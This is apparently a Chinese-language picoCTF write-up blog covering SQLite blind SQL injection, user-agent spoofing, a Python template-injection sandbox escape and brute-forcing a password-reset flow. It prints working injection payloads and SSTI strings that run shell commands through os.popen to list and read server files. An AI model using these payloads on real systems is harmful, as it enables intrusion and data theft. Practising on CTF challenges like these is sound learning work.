picoctfwp

有空就做点

web 650

报错信息可知是sqlite tjctf上遇过一道sqlite

有源码 看了下 只能盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
include "config.php";
ini_set('error_reporting', E_ALL);
ini_set('display_errors', 'On');
$answer = $_POST["answer"];
$debug = $_POST["debug"];
$query = "SELECT * FROM answers WHERE answer='$answer'";
echo "<pre>";
echo "SQL query: ", htmlspecialchars($query), "\n";
echo "</pre>";
?>
<?php
$con = new SQLite3($database_file);
$result = $con->query($query);
$row = $result->fetchArray();
if($answer == $CANARY) {
echo "<h1>Perfect!</h1>";
echo "<p>Your flag is: $FLAG</p>";
}
elseif ($row) {
echo "<h1>You are so close.</h1>";
} else {
echo "<h1>Wrong.</h1>";
}
?>

‘ or 1 –+
‘ or 0 –+

回显不同 拿到注入点

试一下注版本 ‘ or substr(sqlite_version(),1,1)=’3’

‘ or substr(sqlite_version(),1,1)=’4’

完全ojbk 符合预期

注表名 ‘ or substr((select name from sqlite_master limit 0,1),1,1)=’a’

因为题目中 sql语句给了 SELECT * FROM answers WHERE answer=’$answer’

猜是 answer

试了下好像对的 不过多一位是 answers

然后想 注字段

‘ or substr((select columns from name limit 0,1),1,1)=’a’

不行 报错

那我就猜了 应该就是answer

‘ or substr((select answer from answers limit 0,1),0,1)=’a’

试的时候还是用的 > 或 < burp里 =

ojbk

懒得写脚本了 而且好像有点问题 <!好像都不行 就用=爆破了

burp逐位爆了下

然后提交answer即可拿到flag

sqlite注入参考
https://www.cnblogs.com/xiaozi/p/5760321.html

web 200

说你不来自google 并显示你的ua

so 很明显要伪造ua 但我咋改都不行

后来搜到了这篇文章
https://blog.csdn.net/Everywhere_wwx/article/details/78266399

里面提到了一个firefox的ua 插件

安了下自带一个 googlebot的ua 一用 ojbk

抓了下包发现是这样的

User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)

后来群里见了道题 让xxx浏览器访问 要想到改ua

web 350

python沙盒

1
[].__class__.__base__.__subclasses__()

看一波

好像 是 python3 是python2

疯狂找之前的笔记 发现和 nox上沙盒第二题很像

搜了下有 os._wrap_close 高兴

1
{{[].__class__.__base__.__subclasses__()[673].__init__.__globals__['system']('ls'))}}

结果 gg

再用

1
2
{{''.__class__.__mro__[1].__subclasses__()[320].__init__.__globals__["sys"].modules["os"]}}
<module 'os' from '/usr/lib/python3.5/os.py'>

发现 os 给我激动的 以为稳了 结果 system执行不了。。。

listdir是可以的

得到 [‘app’, ‘xinet_startup.sh’, ‘server.py’]

卡住了 。。想用open但好像被过滤了

肝了两天 终于做出来了。。。。。

system是可以执行的 只不过它直返回 0 1 256 。。 我以为不行

查到了这篇文章

http://blog.sina.com.cn/s/blog_5357c0af0100z4rn.html

里面写到

1
2
3
4
5
6
7
os.system('cat /proc/cpuinfo')
但是这样是无法获得到输出和返回值的,继续 Google,之后学会了 os.popen()。
output = os.popen('cat /proc/cpuinfo')
print output.read()

于是

1
{{''.__class__.__mro__[1].__subclasses__()[441].__init__.__globals__["sys"].modules["os"].popen('ls app').read()}}

1
{{''.__class__.__mro__[1].__subclasses__()[441].__init__.__globals__["sys"].modules["os"].popen('cat server.py').read()}}

(序号问题是它会定期清除数据库 每次生成的顺序有不同 但用的还是

woc成功了 !!!!!

分别返回了

1
__init__.py config.py helpers.py models.py routes.py templates

1
from app import app if __name__ == '__main__': app.run()

这一看读啊 flag肯定在app目录下的文件里面里面

1
{{''.__class__.__mro__[1].__subclasses__()[441].__init__.__globals__["sys"].modules["os"].popen('cat app/config.py').read()}}

结果tm不行 没返回 试了试读/app 也不行 应该是 / 被ban了 ??? 下手太狠了吧

距离flag之差一步之遥

试了试 less more等类似cat的命令 也都不行
https://blog.csdn.net/guwuchangtian/article/details/76064057

又卡了好久 终于搜到了这个
https://blog.csdn.net/yimingsilence/article/details/76071949

发现牛逼的find命令可以查找目录下的所有文件中是否含有某个字符串

这正是我需要的!

1
{{''.__class__.__mro__[1].__subclasses__()[441].__init__.__globals__["sys"].modules["os"].popen("find app|xargs grep -ri 'pico*'").read()}}

终于hhhhh 独立搞定了道python沙盒题 开森!

后来测了下 用os._wrap_close 应该也行 当时可能操作有问题

web 600

页面上大概意思是要重置密码

要填一个用户名 试了些常见的admin test之类 都不行

思考了一阵 awvs扫了下没看出明显的漏洞考点。。 转念一想 这尼玛不是爆破吧

burp跑了个用户名字典 woc真跑出来了 跑出来10个左右(后来发现首页源码里每次会刷新一个用户名)

输用户名 会进入重置密码页面 问你密保问题

刷了下 一共四个问题 你最喜欢的 color/hero/crackme/food

又跑了下试试 还好以前存了什么 3,4,5…个字母的单词字典

最先跑出了color是 green 我想 能不能全跑颜色问题 py造了个100000个green字典

结果burp不能连续跑 就是在 intruder 里 再点 intruder 跑的还是上次的

那就只能跑一个 浏览器输入再抓包下一个问题跑 。。 但这样问题就随机了 我们不可控。。。

所以我想全跑出来。。(好像隔一阵会变化 下午跑的 green 晚上好像就不行了)

后来又跑出了 food是duck crackme是 kia 然后刷了个 hero问题。。

结果跑了好久 跑到7字母单词了 还不行

我就重新开了个页面试试 结果运气来了!

问我 food food crackme 然后。。过了! 合着一共就随意抽三个问题 还可能重复

然后成功重置了 mac用户的密码 登陆拿到flag

misc 250

If you visited a website at an IP address, how does it know the name of the domain?

给了个流量包 看题目我以为是反查流量包ip 找域名

结果搜了一遍没东西。。 无意中点了个dns包 看到了flag…

才明白过来 英文理解错了 它问的是 ‘它’ 咋由ip知道域名的 是 dns 作用

所以这题其实直接过滤 dns就行